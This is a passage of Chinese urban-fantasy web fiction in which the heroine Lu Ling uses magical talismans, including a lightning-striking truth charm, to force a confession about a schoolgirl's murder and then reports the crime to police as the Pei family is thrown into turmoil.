余下二十余名黑衣人尽数停在原地,握着刀棍的手微微收紧,眼底的轻蔑彻底消散,只剩下沉甸甸的惊愕与忌惮。 没人敢轻易上前。 谁都没想到,这个看着纤细瘦弱的少女,战斗力竟然如此恐怖。 短短几分钟,就瓦解了他们层层包围的攻势,一种专业打手在她眼中,竟然都毫无还手之力。 鹿翎单手扛着老旧铁锹,身姿高挑轻清冷,站在两人前方,隔绝了所有扑面而来的杀气。 他目光淡漠地扫过僵硬的黑衣人墙,没有多余神色,如同看一堆垃圾。 随即,她收回视线,转过头,目光落向身侧的薄靳言。 一旁的谢二少还僵在原地,抬手胡乱抹了把额角的冷汗,看着满地倒地呻吟的打手,终于缓过神来,满眼震撼。 他算是彻底见识到了,什么叫做真人不露面相。 鹿翎没有理会神色各异的两人,视线定定落在薄靳言脸上,语气自然平淡,不带半点波澜,“走了。” 简单两个字,干净利落。 谢二少闻言一愣,下意识往前跨了半步,挡在薄靳言身前,错愕开口,“等等,走?去哪?” 鹿翎侧目瞥了他一眼,“带走。” 话音直白坦荡,没有丝毫遮掩。 谢二少瞳孔微震,瞬间反应过来她是什么意思,哭笑不得的抬手扶额,“不是,我刚才就是随口开的玩笑,逗你的,什么许配不许配的,你还真当真了啊?” 他侧头看了一眼身旁的薄靳言,顿时有些慌。 他家这位病秧子矜贵金贵,从小就是十指不沾阳春水,身体素差得经不起半点折腾。 这小姑娘看着伸手逆天,但来路不平,要是把人带走了。 轻则,他也别想混了。 重则,被打发到非洲挖矿去。 “救人归救人,不用真带走吧。”谢二少连忙开口补救,“我给钱,重金酬谢,多少都行,只要不把人带走,一切都好说。” 面对谢二少的喋喋不休,鹿翎捕捉到他重点字眼。 重金酬谢。 鹿翎眼前一亮,“真要多少都行?” 谢二少一愣,点点头,“没错,多少都行,只要你不把人带走,价格你随便开。” 他此刻只求这位站立恐怖的小姑娘打消带走薄靳言的念头,别说重金酬谢,就算掏空腰包,他也心甘情愿。 方才满地打手遍地狼嚎的画面还历历在目,要是真的硬抢,他们两人根本没有半点反抗的余地。 鹿翎微微垂眸,看似漫不经心地思考了两秒,嗓音响起,“一百万。” 这个价格不高不低,没有漫天要价,狮子大张口。 主要是鹿翎看出来两人身资不凡。 谢二少当即松了一大口气,脸上瞬间绽放开笑意,爽快道:“没问题,一百万而已,小事一桩。” 他生怕鹿翎反悔,飞快摸出手机。 鹿翎也拿出银行卡。 两人十分丝滑地把账转了。 只留下还一脸懵逼的薄靳言。 不过数秒,转账成功的提示音响起。 “钱已经转过去了。”谢二少收起手机,笑容诚恳,“多谢小妹妹手下留情,今日救命之恩,我们铭记在心。” 鹿翎低头看了眼手机弹出来的到账短信,确认金额无误,淡淡颔首。 她素来务实,救人收钱,两清交易,理所应当。 一旁伫立的薄靳言始终安静,单薄的身躯衬得越发矜贵苍白,漂亮的眼眸,静静凝望着身前的少女。 眼底藏着一层旁人看不懂的情绪,沉默不语。 方才全程的拉扯与交易,他全都看在眼中,没有插话,也没有阻拦。 四周倒地的黑衣人勉强爬起来,捂着伤口不敢上去,只能远远戒备,死死盯着中央的三人,大气不敢出。 这群常年混迹在暗处,手段狠厉的打手,此刻心底只有忌惮,没有半点挑衅。 鹿翎单手将肩上的老旧铁锹放下,随手拎在旁边,姿态松弛又散漫,褪去方才杀伐伶俐的气场。 她没有多看一眼一脸幸灾乐祸的谢二少,视线径直落在薄靳言身上。 在他错愕的目光里,鹿翎微微俯身,抬手,指尖精准握在薄靳言微凉,腕骨突出的手腕上。 男人皮肤冷得像冰一样,触感单薄,透着常年体弱的寒凉。 薄靳言身躯微顿,长睫轻轻一颤,漆黑的眼睛直直锁住她的眉眼,依旧沉默,没有挣脱开她的手。 谢二少瞬间僵住,刚放下的心又悬了起来,紧张开口,“不是,钱都给了,还...还有什么事吗?” 他生怕鹿翎反悔。 鹿翎全然无视他的慌张,指尖轻轻贴在薄靳言的手腕上,“这次收钱,放你走。” “下次,就不一定了。” 第68章:找裴昊然对质 说完,鹿翎就松开手,没有丝毫留念。 短短一句话,算不上威胁,也算不上玩笑,平静无波,却带着不容置疑的笃定,落在安静的夜色里,格外清晰。 薄靳言薄唇微抿,苍白的脸上看不出任何情绪。 他看着鹿翎,低声应了一声,“好。” 声音沙哑低沉,几乎听不见。 谢二少又懵了,这次是彻底愣在原地,哭笑不得。 本以为给钱消灾,就万事大吉,结果还凭空给自己家的少爷欠下一个说不清道不明的约定。 鹿翎不再停留,拎着老旧铁锹,转身,径直穿过满地戒备的黑衣人,很从容地离开这里。 直到身影彻底消失在夜色中,紧张到极致的气氛,才慢慢松懈下来。 谢二少长长吐出一口气,转头看向身侧沉默不语的薄靳言,无奈扶额,“祖宗,你刚才干嘛答应她?这下好了,平白多出个要带你走的小姑娘。” “这件事要是被他们知道了,我不被他们干脆打死,就是很不错的结局了。” 薄靳言眼神瞥了他一眼,“走吧。” 谢二少自顾自叹气,跟着薄靳言离开这里。 这边,离开公园后,鹿翎给自己的腿上贴了张疾行符。 当力量贯流全身,鹿翎一个起步,飞快离开这里,赶往市区。 她现在要做的事就是先回裴家。 找裴昊然。 工地那边的小旅馆就不回去了。 毕竟尸体也找到了,只不过现在范围有些大,就不是她一个人能挖出来的事了。 在回去的路上打了个匿名电话,通知帽子叔叔去那边挖尸体。 人多力量大,尸体总在哪个犄角旮旯地,能被挖出来的。 疾行服跑得很快,不过二十分钟,鹿翎就跑到裴家别墅门口。 她并没有选择从门口大摇大摆地走进去。 还是之前那个原因。 他们很吵。 而且鹿翎这个时候回去已经很晚了,他打算直接爬上三楼,去裴昊然的房间。 她小时候还爬过十多米高的树,之前就爬过裴家别墅,上过二楼。 更现在上三楼了,这不是简简单单嘛。 鹿翎三步并作两步,一溜烟就爬上了三楼。 裴昊然还没回房间,应该在书房里待着,处理公司事务。 房间窗户是关上的,鹿翎一推开,一股冷气扑面而来。 不只是冷气,还有阴气。 对比起书房,这股阴气还是重了。 呛得鹿翎直咳嗽。 爬上来后,鹿翎左右环顾,四周打量,扯张卫生纸,十分嫌弃地擦他的椅子,等着他处理完事后回来。 很凑巧,鹿翎坐下来没有一分钟。 卧室门就被推开了。 只不过进来的不是裴昊然,而是他们最疼爱的妹妹,裴淼淼。 看见不该出现的人出现在这里时,裴淼淼瞳孔猛然震颤,下意识就要惊叫出声。 手上端着的杯子,没拿稳,倒在地上。 里面的牛奶溅得到处都是。 鹿翎反应很快,直接在房间贴上静音符。 就是怕别人听见,然后大声嚷嚷,把裴家其他人都吵过来。 裴淼淼大叫几声后,发现根本就没人过来,她甚至连急匆匆的脚步声都没听见。 有些尴尬。 “姐姐,你怎么回来了都不说一声。”裴淼淼尴尬一笑。 鹿翎坐在裴昊然的椅子上,翘着二郎腿,小臂自然搭上扶手,不过在接触一秒钟之后又自动弹开。 扯了张纸,在手臂上擦拭,很嫌弃地开口,“我回不回来还需要向你报备吗?” 裴淼淼笑意僵在脸上,眼中闪过一丝怨恨和得意。 鹿翎懒得跟她虚与逶迤,背靠椅背,神色淡漠,直接进入主题,“叫裴昊然回来,现在,立刻,马上。” 裴淼淼心头一跳,本能想要拒绝,“哥哥还在处理公事,很忙的,不方便过来...” “我不想再说第二遍。”鹿翎抬眼,眸色微凉,压迫感扑面而来。 压得裴淼淼有些喘不过气,看着浑身透着强势的鹿翎,心里生出一股恐惧。 她后退几步,想要推开房门,“我...我现在叫他过来。” “不用,”鹿翎开口,“打电话让他过来。” 裴淼淼一时僵在原地。 几番僵持,裴淼淼不敢耽搁,只能咬着唇,拿出手机,拨通裴昊然的电话。 电话接通的瞬间,她刻意放软声调,声音嗲得让人作呕,“大哥,你快来一趟,你的房间有点急事。” 裴淼淼半点没提及鹿翎,刻意隐瞒了房间里的人。 电话那头的裴昊然还埋在繁杂的文件之中,指尖停顿,眉宇间带着几分疑惑。 深夜时分,家里早就安静下来,裴淼淼每天晚上都会给他端来一杯牛奶,这是裴淼淼的习惯,也是他的习惯。 他对这个唯一的妹妹向来纵容,没有多问原因,淡淡应了声,“知道了,马上来。” 短短一分钟,走廊外传来沉稳的脚步声,卧室门被人从外推开。 裴昊然一身剪裁得体的睡衣,本来想问问裴淼淼所谓的急事是什么。 可是现在看见椅子上,那道熟悉的身影时,整个人彻底僵在原地。 男人瞳孔剧烈震颤,眼底布满错愕和震惊,还有一丝没来得及掩饰的阴鸷。 几乎是下意识出声,说出来的话不经过大脑思考,带着难以置信,“你怎么还没死?” 这话直白又锋利,没有丝毫伪装。 鹿翎闻言,眉头微挑,嘴角勾起一抹带着寒意的笑意。 原来是他啊。 房间内气氛死寂,僵持得令人窒息。 一旁的裴淼淼垂着手,安静地站在旁边,眼底藏着不易察觉的窃喜,低着头装作惶恐不安的模样,静静等着看戏。 下一秒,鹿翎偏头,目光落在她身上,语气淡漠,不容置喙,“你、出去。” 裴淼淼身体一僵,抬头委屈地看向裴浩然,“大哥...” “滚出去。”鹿翎重复一遍,语调平平,带着极强的压迫感。 裴昊然此刻心绪已乱,全身上下冷冽紧绷,已经无暇顾及裴淼淼了。 他薄唇紧抿,沉声道:“先出去。” 得到兄长的命令,裴淼淼不敢过多停留,视线先是狠狠地瞪了鹿翎一眼。 在接触到鹿翎冰冷的目光后,又怯怯地移开。 裴苗苗走后,只剩下鹿翎和裴昊然两人。 裴昊然阴沉着脸,“你怎么回来了都不说一声?” 丝毫不提刚刚说出口的话。 话音未落,鹿翎轻点指尖,一道凝念的灵光随即飞向裴昊然的眉心。 第69章:惊雷震天 那是真言符,触肤即融,消失得悄无声息。 符箓入体的瞬间,裴昊然感觉眉心微微一麻,像是被细小的电流窜过,不痛不痒。 他蹙眉低头,抬手摸了摸自己的额头,什么都没摸到,冷声质问,“你对我做了什么?” 鹿翎端坐不动,神色冰冷直白,“真言符。” “从现在开始,你口中但凡有一句假话,就会立刻以天雷降临,慌越大,雷越重。”鹿翎拿出手机,摆弄一下,然后熄灭屏幕,倒扣在桌面上。 裴昊然脸色一沉,眼底翻涌着嗤笑和不屑。 他活了这么多年,从来不信这些。 就连鹿翎用这种邪魔外道的东西,治好裴耀阳的腿,他也不信。 “故弄玄虚。”他冷声嗤道。 鹿翎不和他这种脑子有问题的人争辩,直接进入主题,没有半分拖沓,“今晚跟踪我的黑衣人,是你派了的?” 裴昊然眼底阴鸷翻涌,心思立即沉淀下来。 他笃定鹿翎没有证据,又不信所谓的真言天雷,干脆利落吐出两个字,“不是。” 话音落地的刹那。 窗外夜色骤然一暗,原本寂静的夜空划过一道细碎的银白雷光。 “轰隆——!” 一身短促清脆的惊雷突然炸响,精准无误劈在三楼的卧室内。 一道细碎的淡色雷直直砸在裴昊然肩头。 力道倒不算凶猛,不伤筋骨,却带着刺骨的麻痹和灼伤,瞬间席卷他全身。 裴昊然整个人一颤,浑身发麻,肩头泛起一片淡淡的灼红,就连发丝都被细微的雷光撩得微微卷曲 痛感与猝不及防的震慑,让他脸色苍白,眼底的轻蔑碎裂,取而代之的是难以置信的错误。 他僵硬地站在原地,浑身残留着发麻的电感,死死盯着鹿翎。 这是竟然真的,不是装神弄鬼。 另一边。 被赶出房间的裴淼淼悻悻站在门外眼底的委屈消失,只剩下满心的戾气和好奇。 她不甘心就这么离开,她更想亲眼看鹿翎和裴昊然对质,等着鹿翎自讨苦吃,被裴昊然赶出裴家。 她不清楚鹿翎怎么会突然出现在别墅内,现在只知道应该去通知裴天逸和杨丽华,让夫妻两人赶快过来。 随即她立刻跑向走廊尽头的主卧。 “咚咚咚!”裴淼淼使劲砸着主卧的房门声音经历又带着刻意的委屈,“爸妈!你们快醒醒,出大事了!姐姐回来了,而且大哥还被她关在房间里!” 屋内灯光照亮,裴天逸率先披衣开门,睡袍都还没整理整齐,眉头皱起,“嚷嚷什么生根,半夜不睡觉。” 他语气里带有惯有的沉稳,眼底却藏着一丝不易察觉的审视。 “你刚刚说什么?鹿翎回来了?” 杨丽华紧随其后,一身睡衣衬得她神色紧绷。 听到鹿翎两个字,像是有应激反应似的,眼底的厌恶和憎恨几乎要溢出来了。 “你还愣在这里干什么!”因为上次裴天逸打过她一巴掌,导致现在她对裴天逸都没有什么好脸色。 裴天逸狠狠皱起眉头,没说话。 杨丽华一把推开裴天逸,快步走到裴昊然房门前,用力拍打着房门,声音里满是刻骨的恨意。 她现在要恨死鹿翎了。 一回来就把自己家搞得天翻地覆,让自己心爱的儿子变成一副痴痴傻傻的样子。 要不是因为她,自己心爱的丈夫也不会动手打人。 连看一下门板的眼神都淬着冰。 她不知道突然想起,连忙去找张婶拿钥匙。 结果要是插进锁孔,转不开门。 “昊然,开门!那个妖女是不是在里面欺负你?我告诉你裴天逸,今天要是鹿翎伤了我儿子一根头发,我就跟她没完!” 她话头立刻转向裴天逸。 裴天逸皱皱眉,也没多说什么,伸手拉住她,低声劝道:“先冷静,听听里面怎么说?” 他嘴上这么说,心里却跟明镜似的。 他确实需要鹿翎的能力,达成自己的目的,可也怕鹿翎真的掀翻裴家这盘棋,更怕她真的掌控不住,反将一军。 裴淼淼在一旁添油加醋,眼眶红得像刚哭过一样,“爸妈,你们快开门啊,我刚刚看见大哥脸色好差,好像被姐姐欺负了,她肯定是来报复的。” 杨丽华听得更是火大,抬脚就要踹门,“什么怀恨在心?我看她就是反了天了!裴天逸,你别拦着我!今天我非得拆了这房子,把鹿翎给揪出来。” 裴天逸就这没去,还是没松手,只是看向紧闭的房门,眼神复杂,“先等等,看看情况。” 他心里清楚,鹿翎既然敢来,就绝不会没有后手。 这门打不开,或许是鹿翎的手段。 屋内,惊雷余温尚未散尽,裴昊然僵在原地,肩头灼灼阵痛传来,浑身的麻痹感还没消失。 他死死盯着鹿翎,眼底的轻蔑早已荡然无存,只剩下忌惮。 就连刚才的不信邪,也被雷劈得粉碎。 鹿翎神色未变,指尖轻叩桌面,声音冷冽,不带半分情绪,“林小满是不是裴耀阳杀的?” 裴昊然心头一凛,瞬间抹去所有神色,强压下心底的慌乱,依旧嘴硬,“不是,林小满是谁?不认识,不知道。” 话音刚落,窗外原本沉寂的夜空开始翻涌,云城极速聚拢。 一道比刚才粗的银白雷光撕裂夜幕,带着震耳欲聋的雷声,直直砸向房间。 “轰隆——!” 惊雷炸响的瞬间,电流裹胁着灼人的热浪,精准劈中裴昊然的胸口。 “呃!”裴昊然闷哼一声,整个人被雷震得踉跄后退几步,后背重重撞在墙上。 胸口传来剧烈的灼烧感,皮肤泛起大片赤红,甚至隐隐有烧焦的气味传来,冷汗瞬间浸透他的衣衫。 他脸色苍白如纸,额头布满冷汗,呼吸急促。 刚才是嘴硬,现在是真有点恐惧了。 鹿翎端坐如初,眼神冷得像冰,没有丝毫动容,重复问道,“林小满是不是裴耀阳杀的?” 裴昊然咬紧牙关,依旧是死猪不怕开水烫,“我说了,不知道...” “轰!” 又是一道惊雷。 这道惊雷明显比刚刚要更厉害。 狂暴的电流席卷全身,裴昊然只觉得浑身骨头像是被碾碎一般,剧痛钻心,眼前阵阵发黑,整个人顺着墙壁滑落,瘫坐在地。 手臂、脖颈都被雷劈出血痕,浑身抽搐不止,连抬手的力气都没有,每次呼吸都牵扯着撕裂般的疼痛。 恐惧彻底击溃他最后的防线。 鹿翎缓缓起身,居高临下地看着他,语气淡漠,却带着不容置喙的压迫感,“事不过三,裴昊然。” “我最后再问一遍,林小满是不是裴耀阳杀的?” 第70章:连个全尸都不给她留 裴浩然瘫坐在地,浑身抽搐,冷汗混着血珠顺着下巴滚落,喉咙里是压抑的痛苦低喘。 两次天雷劈下的剧痛还残留在四肢百骸中。 他望着鹿翎那双没有温度的眼睛,心底最后一丝侥幸彻底崩塌。 他死死攥紧拳头,指尖泛白。 沉默不过数秒,他再也撑不住,沙哑的嗓音带着难以抑制的颤抖,彻底破防,“是...是裴耀阳杀的。” 话音刚落,窗外翻涌的黑云散开,狂暴的雷光隐去,屋内紧绷的压迫感稍稍褪去,只剩下裴昊然粗重的喘息声格外清晰。 鹿翎神色未动,语气依旧冰冷,打算追问到底,“起因是什么?具体经过,一字不落地说清楚。” 来都来了,不说清楚怎么行。 裴昊然咽了咽口水,从头开始说起,林小满和裴耀阳的冤孽。 裴耀阳是转来的,本来杨丽华打算让他去读贵族学校,但裴天逸说老是在贵族学校也不好,就把他转到普通的中学去了。 裴耀阳转去一中,性子本就乖戾嚣张,加上他母亲杨丽华事事纵容,他在学校里愈发横行霸道,成了没人敢招惹的校霸。 直到撞见林小满。 那时候林小满跟他同班,性子安静,不爱说话,眉眼干净,坐在角落里安安静静的,跟周遭的喧闹格格不入。 裴耀阳第一次见她,就动了心。 他长这么大,想要的东西从来没有得不到的 喜欢上林小满之后,便开始疯狂纠缠。 读他放学送花,送礼物,仗着家势在学校里放话,说林小满是他的人,旁人不许靠近。 因为这件事,林小满被老师谈了几次话。 林小满成绩好,而且平时人很乖巧,所以这件事就没去找他的父母。 再加上裴耀阳的家庭。 学校几乎所有老师都不敢招惹裴耀阳。 只能去找林小满谈话。 可林小满性子倔,根本不是他那套。 裴耀阳越逼,她越抗拒。 拒收裴耀阳送的所有东西,可以避开他被堵了就直接绕道走,半点情面都不留。 因为这个事,裴耀阳还被学校里的人暗地嘲笑过。 裴耀阳哪受过这种冷遇,更别说被人暗地嘲笑的事了。 他习惯了众星捧月,习惯了别人的顺从讨好,可偏偏林小满次冷脸相对,次次无视他的示好,把他的骄傲踩得粉碎。 一开始只是恼,恼她不识抬举。 后来恼意变成了偏执,越是得不到,执念越是深重。 他开始变本加厉,逼周围同学孤立她,谁敢跟林小满说话,他就带人去找麻烦。 林小满成绩好,他就故意在课堂上捣乱,打断老师讲课,故意刁难她。 又因为这件事,老师再次找林小满谈话。 林小满自小乖巧,长这么大,这是她第二次被老师谈话了。 裴耀阳以为这样,林小满就会服软。 可林小满从头到尾,没有半分妥协,眼神里只有厌恶和疏离。 爱而不得,最后就成了恨。 后来,裴耀阳和狐朋狗友一起在外面网吧里打游戏。 他们也听说了裴耀阳这件事。 就给裴耀阳出馊主意,他们撺掇裴耀阳,说林小满就是故意装清高,想要引起他的注意。 毕竟裴家在江州也是豪门。 只有生米煮成熟饭,她一个小姑娘脸皮薄,根本不敢声张,最后只能乖乖认命。 裴耀阳本就被偏执和恨意冲昏了头,被这话一挑唆,当即动了歪心思。 当天下午放学,他就故意带人堵在林小满回家的必经入口,强行拦住她。 林小满拼命挣扎反抗,可她一个小姑娘哪里抵得过,裴耀阳和他带来的几个人。 他们半拖半拽,把林小满强行带去了北城郊区,那荒无人烟的废弃工地。 到了公园深处,裴耀阳就让其他人离开,只剩下他和林小满两人。 一开始他还在放狠话,逼林小满顺从自己,言语极尽羞辱。 林小满性子再倔,终究只是个十几岁的女孩子,她被吓得浑身发抖,却依旧不肯低头。 反而红着眼眶警告他,说是再敢乱来,就立刻报警。 这番话彻底把裴耀阳激怒。 他上前粗暴地钳制住林小满的双臂,用力狠狠往后推搡。 本来是荒废已久的公园,草坪上什么都有。 林小满重心失衡,身体直直向后倾倒,后脑重重磕在一个凸起的石头上。 沉闷的撞击声在公园响起。 单薄的身躯软软瘫倒在地,再也没有了任何动静。 裴耀阳下意识松开手,看着倒地不起,毫无声息的少女,整个人瞬间呆滞。 他虽然很嚣张,打架滋事,欺压同学,可从来没有害死过人。 看着身下一动不动的林小满,他慌了神。 被他赶出去的几个狐朋狗友,却查出不对劲,纷纷折返回来。 看见地上死了人后,短暂慌乱过后,都是满眼阴鸷。 纷纷打定主意,抹去了林小满所有踪迹。 听完裴昊然讲完所有事情经过后,鹿翎还是有一点不明白。 为什么她的引魂寻尸符会停在公园门口不动。 按理来说,林小满的尸体在公园里,符咒就会飞进去。 莫非,尸体就埋在公园门口? 还是说另一种可能? 不知道想到什么,鹿翎瞳孔皱缩,她眼神死死盯着裴昊然,没有丝毫预兆,一脚踹向他的肩膀。 “砰”的一声。 巨大的冲击力直接将原本重伤无力反抗的裴昊然踹在墙内。 清晰的骨折声传来。 裴昊然面部扭曲,一句话都说不出口。 “你们竟然连个全尸都给她留,还真是丧心病狂啊。” 她终于反应过来,为什么引魂寻尸符会在门口消失。 要么就是公园门口埋着尸体。 但这种情况最不可能发生。 引魂寻尸符会化作一道气流钻进尸体所在地方。 如果尸体太多,符纸就会停在较大范围内。 裴耀阳和那几个小子只杀了一个人。 说明只有一具尸体。 那为什么没有化作气流指引方向。 只是因为他们,把林小满,分尸了。 分尸后埋在公园各个地方。 碎尸散落在四面八方,阴阳割裂,符咒无法汇聚成一道指引,自然飞不进去。 真言符在他眉心疯狂发烫,窗外雷声滚滚,一道惨白的电光撕裂夜空,精准劈在卧室的地板上,炸裂出一片焦黑的痕迹。 第71章:刑事案件 鹿翎看着墙下痛得蜷缩,连哀嚎都发不出来的裴昊然,眼底没有半分怜悯。 她俯身,居高临下的看着对方,指尖捻出一丈淡黄色的定身符,轻弹,符纸瞬间贴在裴昊然额头上。 金光一闪,直接将他死死定在原地,动弹不得,连昏过去都做不到,只能清醒地承受浑身的剧痛与恐惧。 做完这一切,鹿翎不再多留,转身拿起桌上自己的手机,顺手将刚才裴昊然供述时,悄悄录下来的音频保存加密。 随后打开窗户,从三楼跳了下去,径直离开裴家。 夜色浓重,冷风刮过脸颊,带着刺骨的凉意。 鹿翎走到僻静的街角,拿出手机,没有丝毫犹豫,拨通了报警电话。 电话接通的瞬间,她的声音依旧清冷平静,字字清晰有力,“你好,我报警...” 她条理清晰地爆出案发时间,涉案人员身份,具体地址以及最关键的分尸,抛尸细节。 接线员觉察到案情重大,立刻详细记录,当即表示会立刻出警处置。 挂断电话,鹿翎将手机放回口袋,抬头望向漆黑的夜空。 眼前有一只小蝴蝶飞到她的面前,落在她的肩头。 她能感受到这只蝴蝶有点不一样。 鹿翎抬手,轻轻摸了摸蝴蝶的翅膀,“公道很快就来。” 至于证据,她找到一家二十四小时便利店买了只录音笔。 将她手机里录下来的音转移到录音笔中。 主要是她不能把手机交给警方。 她手机里的秘密还是蛮多的。 —— 而裴家别墅内,被定身符定住的裴昊然,眼睁睁看着鹿翎离开,满心都是绝望。 他想喊人想挣扎,可浑身如同被灌注了千斤巨石一样,一根手指都动不了,额头的肤质像是有千斤重,压得他喘不过气。 浑身骨折的剧痛源源不断地来,冷汗浸湿衣衫,意识在痛苦的边缘反复挣扎。 他心里清楚。 鹿翎一定会报警的。 果然他想的没错。 鹿翎确实报警了,还是一出去就立马报警的那种。 等待他的,只会是法律的制裁。 裴家就算再有势力,也掩盖不了这般滔天罪行。 没过多久,门还是没打开。 刺耳的警笛声由远及近,划破了深夜的宁静,直直朝着陪嫁别墅而来。 红蓝交替的警灯闪烁,将别墅外的夜色照得忽明忽暗,引得其他住在别墅里的人纷纷开灯张望。 别看是富豪,其实他们背地里也挺八卦的。 警方根据鹿翎提供的住址,迅速赶到裴别墅门口。 大门的保安又不是傻子。 怎么可能拦警车? 所以警车很顺利地进入别墅区内,最终停在裴家门口。 红蓝警灯的光芒穿透庭院的树木,斑驳地印在别墅外墙,也照进了裴天逸等众人的眼底。 裴天逸才猛地回过神,眉头拧成一团,眼底满是错愕与不解。 “怎么会有警车?”他低声自语,心底瞬间升起一股强烈的不安,压根没把警车和屋内的裴昊然联系到一起。 杨丽华踹门的动作戛然而止,听到警笛声,看着窗外闪烁的警灯,整个人都懵了,脸上的凶狠瞬间僵住,取而代之的是迷茫。 裴淼淼也忘了哭,抬头望向别墅大门的方向,满眼都是惊讶,完全搞不懂发生了什么。 几秒钟愣神过后,急促的敲门声伴随着警方沉稳的声音响起,“我们是辖区派出所民警,接到群众报警,前来处理一起刑事案件,请开门配合调查。” 刑事案件? 这四个字如同惊雷,在裴天逸脑海中炸开。 他常年混迹商圈,见惯的风浪,此刻却脸色骤变,脚步都有些不稳,心里的不安瞬间放大到极致。 要是其他案件,他倒没有这么担心。 主要的是,这可是刑事案件啊。 处理不好,是要被判刑的。 杨丽华更是直接慌了神,完全摸不着头脑,裴家在江州根基深厚,向来都是和和气气。 当然,这是她认为的。 怎么会有警察找上门来,还是办刑事案件? 她一把抓住裴天逸的胳膊,声音发颤,脾气也不发了,说话也不阴阳怪气了,连称呼都变正常了,“老公,这、这到底是怎么回事?我们回家也没犯事啊,是不是搞错了?” 裴天逸没搭话,强压下心底的慌乱,抬手整理了一下睡袍,沉声道:“我去开门。” 杨丽华跟在他身后。 打开别墅大门,看清门口整齐列队,神色严肃的民警。 裴天逸努力维持着镇定,开口询问,“各位警官,是不是有什么误会?我们裴家安分守己,怎么会牵扯到刑事案件里?” 领头的警官没有多余客套,直接拿出相关手续,语气严肃:“接到报警举报,裴耀阳涉及故意杀人案,裴昊然涉及包庇案,我们依法前来传唤抓捕,请配合!” “杀人?包庇?” 裴天逸浑身一震,如遭雷击,踉跄后退一步,眼睛瞪得通红,满脸都是不敢置信。 很显然,他对这件事并不知情。 他怎么也想不到,裴耀阳和裴昊然都涉及刑事案件。 一旁的裴淼淼听到这话,直接吓得脸色苍白,浑身发抖,原本假意的委屈变成了真正的恐惧。 她捂住嘴巴不敢出声,眼底满是惊恐。 杨丽华更是当场崩溃,瞬间失去理智,冲上前就要拦住民警,撕心裂肺地哭喊,“不可能,你们胡说!我儿子不可能杀人!一定是搞错了!” “是鹿翎!肯定是那个妖女陷害他们!” 她疯了一样挣扎,情绪彻底失控,眼泪鼻涕糊了一脸,居然没了往日豪门太太的体面。 就在这时,三楼另一侧的房门被打开,裴泽宇穿着睡衣,睡眼惺忪地走出来。 脸上还有刚才被吵醒的困倦,看着走廊混乱的场景,茫然地开口,“爸、妈,发生什么事了?怎么这么吵?” 他这一晚上就带着耳机打游戏。 根本不清楚外面到底发生了什么事。 刚取下耳机睡下没多久,就被门外的喧闹和警笛声吵醒。 完全不知道家里到底出了翻天覆地的大事,对鹿翎来之后的所作所为一无所知。 裴天逸看着懵懂的裴泽宇,又看了看崩溃的杨丽华,在想到屋内依旧没动静的裴昊然,眼前一黑,整个人摇摇欲坠。 第72章:裴家老夫人回来了 他到现在都想不通,鹿翎明明只是和裴昊然在屋里说话。 虽然知道说的不是什么好话,但为什么会突然引来警察,还牵扯出刑事案件? 民警根本不理会裴家人的慌乱与阻拦,径直朝着裴昊然所在的三楼卧室走去。 房门被鹿翎锁住,明明杨丽华等人打不开,但民警一开就打开房门。 一进门就看见瘫在墙边,浑身是伤,被定身符定住动弹不得的裴昊然。 屋里一片狼藉,地面上还有被雷劈过的焦黑痕迹。 裴昊然浑身是血痕,脸色惨白,眼神中满是绝望,看到有警察来,连挣扎的力气都没有。 警察看见裴昊然满身是伤,十分惊讶,但他也没多问,而是选择先将裴昊然带去医院。 先治疗后再带回警局审问。 当即拨打120急救电话,语气沉沉地报出裴家别墅的详细地址,再三叮嘱救护车务必尽快到达。 挂断电话后,民警示意随行警员控制现场,不许任何人破坏屋里的痕迹。 尤其是地面那片诡异的焦黑印记,全都一一拍照取证。 裴家人围在门口急得团团转,杨丽华疯的一样想要冲进去,却被警员死死拦住。 只能扯着嗓子又哭又闹。 裴天逸也脸色铁青地跟民警交涉,可民警始终秉公执法,半点不为所动,只能丢下一句“请配合调查,不要妨碍公务。” 没过多久,120救护车呼啸着赶到别墅,医护人员快步上楼,迅速将虚弱至极的裴昊然抬上担架,一路疾行送往医院。 民警留下两人看守现场,其余人则跟着救护车一同前往,等着裴昊然上情稳定后再做进一步审问。 —— 而另一边。 鹿翎市中心找到一家口碑还不错的精品酒店,办理入住后,简单收拾一番,暂时住下。 等这边的事情彻底了结后,再做打算。 没想到不靠谱的未明子打电话过来,而且开局第一句话竟然不是问要钱。 “小五,上次你打电话过来是有什么急事吗?”未明子依旧对着手机屏幕,在欣赏他那张大脸。 鹿翎没开摄像头,“上次我想问你,鬼魂是可以吸收来历不明的怨气,对吧?” 未明子对着镜头在摸他的山羊须,“当然可以,我教你这么多年,知识全部还给我了是吧?” 鹿翎下意识地摸了摸鼻子,理直气壮道:“我就是不确定,来问你一下而已,而且我觉得我问不问你,都没有什么区别。” 未明子依旧在欣赏他那张大脸。 鹿翎面无表情,“你再对着屏幕,摸你那张大脸试试看。” 话音刚落,未明子立马震惊起来,“你敢威胁我?小兔崽子!白养你这么大了。” 鹿翎没说话,但未明子已经觉察出鹿翎的冷意。 未明子轻咳一声,“那什么,既然你已经确定好了,那我就不再多说了,挂了挂了。” 说完,他干净利落地挂断电话。 每次都是鹿翎提出来挂电话的,没想到他今天竟然主动提出一次。 还这么干净利落地挂断了电话。 她本想暂时避避风头,可裴家势力庞大,裴天逸和杨丽华爱子心情,在医院简单安顿好裴昊然,便立刻动用所有关系追查鹿翎的行踪。 不过短短一个晚上,鹿翎所入住的酒店信息就被裴家人查到。 第二天一早,鹿翎刚走出酒店,迎面就撞上了满脸怨毒的杨丽华和一脸焦灼的裴天逸,身后还跟着几个保镖,气势汹汹的堵在门口。 不等鹿翎开口,杨丽华立刻破防,指着鹿翎的鼻子就破口大骂,声音尖厉又刻薄。 瞬间引起了来往路人的注意。 “鹿翎你这个心狠手辣的贱人!你到底对昊然做了什么?好好的人被你折磨成那样,还报警害他,你到底安了什么心?我们裴家带你不薄,你竟然这么歹毒!我告诉你,如果昊然有什么三长两短,我就跟你拼命!” 她唾沫横飞,口水几乎要喷到鹿翎撵上去了。 各种难听的话一股脑子往鹿翎身上泼,情绪激动到几乎要扑上去撕扯鹿翎,却被裴天意一把拉住。 裴天逸拦住杨丽华,转头看向鹿翎,脸上挤出几分勉强的恳切,没有往日的心机利用。 语气放得很低,“鹿翎,算我求你了,昊然已经被你伤成那个样子了,你就高抬贵手,放过他吧,看在往日的情分上,裴家一定以后会好好补偿你。” 鹿翎站在门口,神奇淡漠,眼神冷的没有一丝波澜。 既不理会杨丽华的撒泼辱骂,也不为裴天逸的求情所动。 她就那样静静的看着两人,周身散发着疏离又强硬的气场,摆明了油盐不进,半点妥协的意思都没有。 